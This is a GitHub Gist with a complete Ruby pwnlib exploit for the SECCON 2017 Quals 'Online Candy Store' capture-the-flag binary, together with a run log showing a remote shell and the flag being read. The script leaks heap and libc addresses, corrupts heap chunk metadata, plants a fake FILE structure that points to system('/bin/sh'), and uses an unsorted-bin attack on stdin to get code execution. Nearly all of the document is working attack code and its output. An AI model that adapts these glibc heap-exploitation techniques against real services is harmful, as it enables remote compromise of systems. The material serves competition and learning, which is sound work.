-
-
Save Charo-IT/aae574aef2145d454e196a9842cad4b5 to your computer and use it in GitHub Desktop.
SECCON 2017 Quals - Online Candy Store
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ ruby online_candy_store.rb r | |
[*] connected | |
[*] leak heap base | |
heap base = 0x208e000 | |
[*] reset heap | |
[*] create accounts | |
[*] delete accounts | |
[*] leak libc base | |
libc base = 0x7f297080e000 | |
[*] create pad chunks and victim chunk | |
[*] order candies | |
[*] change orders | |
[*] force malloc_consolidate | |
[*] change orders | |
[*] force malloc_consolidate | |
[*] overwrite chunksize | |
[*] send fake FILE, overwrite chunks | |
[*] overwrite stdin->_chain via unsorted bin attack | |
[*] launch shell | |
[*] interactive mode | |
*** Error in `./Lazenca.0x0': malloc(): memory corruption: 0x00007f2970bd2948 *** | |
======= Backtrace: ========= | |
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f29708857e5] | |
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f297089013e] | |
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f2970892184] | |
./Lazenca.0x0[0x401dd2] | |
./Lazenca.0x0[0x4028bf] | |
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f297082e830] | |
./Lazenca.0x0[0x400989] | |
======= Memory map: ======== | |
pwd | |
/ | |
ls -la | |
total 48 | |
drwxr-xr-x 6 1003 1003 4096 Nov 27 09:45 . | |
drwxr-xr-x 6 1003 1003 4096 Nov 27 09:45 .. | |
drwx------ 2 1003 1003 4096 Nov 27 09:23 .cache | |
-rwxrwxr-x 1 1003 1003 18744 Nov 27 09:44 Lazenca.0x0 | |
drwxr-xr-x 2 0 1003 4096 Nov 27 09:45 bin | |
-rw-r--r-- 1 0 0 73 Nov 27 07:21 flag.txt | |
drwxr-xr-x 19 0 0 4096 Sep 26 07:32 lib | |
drwxr-xr-x 2 0 0 4096 Sep 26 07:30 lib64 | |
cat flag.txt | |
SECCON{Y0u h4ve 4cquired the "H0use 0f L0re" techn0l0gy. by Lazenca.0x0} | |
exit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding:ascii-8bit | |
require "pwnlib" | |
remote = ARGV[0] == "r" | |
if remote | |
host = "lazenca0x0.pwn.seccon.jp" | |
port = 9999 | |
libc_offset = { | |
"main_arena" => 0x3c4b20, | |
"_IO_2_1_stdin_" => 0x3c48e0, | |
"system" => 0x45390 | |
} | |
else | |
host = "localhost" | |
port = 54321 | |
libc_offset = { | |
"main_arena" => 0x3c4b20, | |
"_IO_2_1_stdin_" => 0x3c48e0, | |
"system" => 0x45390 | |
} | |
end | |
class PwnTube | |
def recv_until_prompt | |
recv_until("Command : ") | |
end | |
end | |
def tube | |
@tube | |
end | |
def login(id, pass) | |
tube.recv_until("> ") | |
tube.send(id) | |
tube.recv_until("> ") | |
tube.send(pass) | |
end | |
def create_account(id, pass, profile) | |
login("114514", "114514") | |
tube.recv_until("No\n") | |
tube.send("0\0") | |
tube.recv_until("Enter your New ID.\n") | |
tube.send(id.ljust(8, "\0")) | |
tube.recv_until("Enter your New Password.\n") | |
tube.send(pass.ljust(8, "\0")) | |
tube.recv_until("Enter your profile.\n") | |
tube.send(profile) | |
end | |
def show_stock | |
tube.recv_until_prompt | |
tube.send("1\0") | |
end | |
def purchase(index, amount, comment = nil) | |
tube.recv_until_prompt | |
tube.send("2\0") | |
tube.recv_until("purchased.\n") | |
tube.send("#{index}\0") | |
tube.recv_until("purchase.\n") | |
tube.send("#{amount}\0") | |
if !comment.nil? | |
tube.recv_until("candy.\n") | |
tube.send(comment) | |
end | |
end | |
def charge(amount) | |
tube.recv_until_prompt | |
tube.send("3\0") | |
tube.recv_until("charge.\n") | |
tube.send("#{amount}\0") | |
end | |
def to_order_menu | |
tube.recv_until_prompt | |
tube.send("4\0") | |
end | |
def to_account_menu | |
tube.recv_until_prompt | |
tube.send("5\0") | |
end | |
def logout | |
tube.recv_until_prompt | |
tube.send("9\0") | |
tube.recv_until("No\n") | |
tube.send("0\0") | |
end | |
def show_order_list | |
tube.recv_until_prompt | |
tube.send("1\0") | |
end | |
def add_order(index) | |
tube.recv_until_prompt | |
tube.send("2\0") | |
tube.recv_until(">") | |
tube.send("#{index}\0") | |
end | |
def cancel_order(index) | |
tube.recv_until_prompt | |
tube.send("3\0") | |
sleep(0.2) | |
tube.send("#{index}\0") | |
end | |
def order_candy | |
tube.recv_until_prompt | |
tube.send("4\0") | |
tube.recv_until("candies?\n") | |
tube.send("0\0") | |
end | |
def register_candy(price, description) | |
tube.recv_until("Enter the price") | |
tube.send("#{price}\0") | |
tube.recv_until("Enter a description") | |
tube.send(description) | |
end | |
def quit_order_menu | |
tube.recv_until_prompt | |
tube.send("5\0") | |
end | |
def delete_account(index) | |
tube.recv_until_prompt | |
tube.send("1\0") | |
tube.recv_until("delete\n") | |
tube.send("#{index}\0") | |
end | |
def change_password(index, pass) | |
tube.recv_until_prompt | |
tube.send("2\0") | |
tube.recv_until("PW\n") | |
tube.send("#{index}\0") | |
tube.recv_until("Enter your New Password.\n") | |
tube.send(pass) | |
end | |
def quit_account_menu | |
tube.recv_until_prompt | |
tube.send("3\0") | |
end | |
PwnTube.open(host, port){|t| | |
@tube = t | |
puts "[*] leak heap base" | |
login("Admin", "admin") | |
to_order_menu | |
add_order(0) | |
add_order(0) | |
cancel_order(0) | |
cancel_order(0) | |
quit_order_menu | |
logout | |
create_account("AAAA", "AAAA", "AAAAAAAA") | |
login("Admin", "admin") | |
to_account_menu | |
delete_account(2) | |
quit_account_menu | |
to_order_menu | |
add_order(0) | |
add_order(0) | |
tube.recv_until("Order code") | |
heap_base = (tube.recv_capture(/Order code : (.{3,4})\n/m)[0].ljust(8, "\0").unpack("Q")[0] & ~0xff) - 0x1100 | |
puts "heap base = 0x%x" % heap_base | |
puts "[*] reset heap" | |
cancel_order(0) | |
cancel_order(0) | |
quit_order_menu | |
logout | |
create_account("AAAA", "AAAA", "AAAAAAAA") | |
login("Admin", "admin") | |
to_account_menu | |
delete_account(2) | |
puts "[*] create accounts" | |
quit_account_menu | |
logout | |
create_account("AAAA", "AAAA", "AAAAAAAA") | |
create_account("BBBB", "BBBB", "BBBBBBBB") | |
puts "[*] delete accounts" | |
login("Admin", "admin") | |
to_account_menu | |
delete_account(2) | |
delete_account(3) | |
quit_account_menu | |
puts "[*] leak libc base" | |
to_order_menu | |
add_order(0) | |
libc_base = (tube.recv_capture(/Order code : (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] & ~0xff) - (libc_offset["main_arena"] & ~0xff) | |
puts "libc base = 0x%x" % libc_base | |
puts "[*] create pad chunks and victim chunk" | |
9.times{|i| | |
add_order(i % 3) | |
} | |
puts "[*] order candies" | |
order_candy | |
register_candy(0, "CCCCCCCC") | |
register_candy(0, "DDDDDDDD") | |
register_candy(0, "EEEEEEEE") | |
puts "[*] change orders" | |
9.times{ | |
add_order(0) | |
} | |
cancel_order(8) | |
cancel_order(7) | |
puts "[*] force malloc_consolidate" | |
quit_order_menu | |
logout | |
create_account("AAAA", "AAAA", "AAAAAAAA") | |
login("Admin", "admin") | |
to_account_menu | |
delete_account(2) | |
puts "[*] change orders" | |
quit_account_menu | |
to_order_menu | |
cancel_order(5) | |
puts "[*] force malloc_consolidate" | |
quit_order_menu | |
logout | |
create_account("AAAA", "AAAA", "AAAAAAAA") | |
login("Admin", "admin") | |
to_account_menu | |
delete_account(2) | |
puts "[*] overwrite chunksize" | |
change_password(3, [0x4c0].pack("Q")) | |
puts "[*] send fake FILE, overwrite chunks" | |
quit_account_menu | |
payload = "" | |
payload << "\0" * 0x30 | |
payload << "/bin/sh".ljust(8, "\0") | |
payload << [0x61].pack("Q") | |
payload << [0].pack("Q") * 2 | |
payload << [0, 1].pack("Q*") | |
payload << [0].pack("Q") * 6 | |
payload << [0x60, 0x20].pack("Q*") | |
payload << "Red".ljust(8, "\0") | |
payload << [0x28].pack("Q") | |
payload << [heap_base + 0x1350].pack("Q") | |
payload << [0x91].pack("Q") | |
payload << "\0" * 0x48 | |
payload << [heap_base + 0x13a0 - 0x18].pack("Q") | |
payload << [libc_base + libc_offset["system"]].pack("Q") | |
payload << [0].pack("Q") * 6 | |
payload << [0xa1].pack("Q") | |
payload << [libc_base + libc_offset["main_arena"] + 0x58].pack("Q") | |
payload << [libc_base + libc_offset["_IO_2_1_stdin_"] + 0x68 - 0x10].pack("Q") | |
purchase(1, 30, payload) | |
puts "[*] overwrite stdin->_chain via unsorted bin attack" | |
logout | |
login("114514", "114514") | |
tube.recv_until("No\n") | |
tube.send("0") | |
puts "[*] launch shell" | |
tube.interactive | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment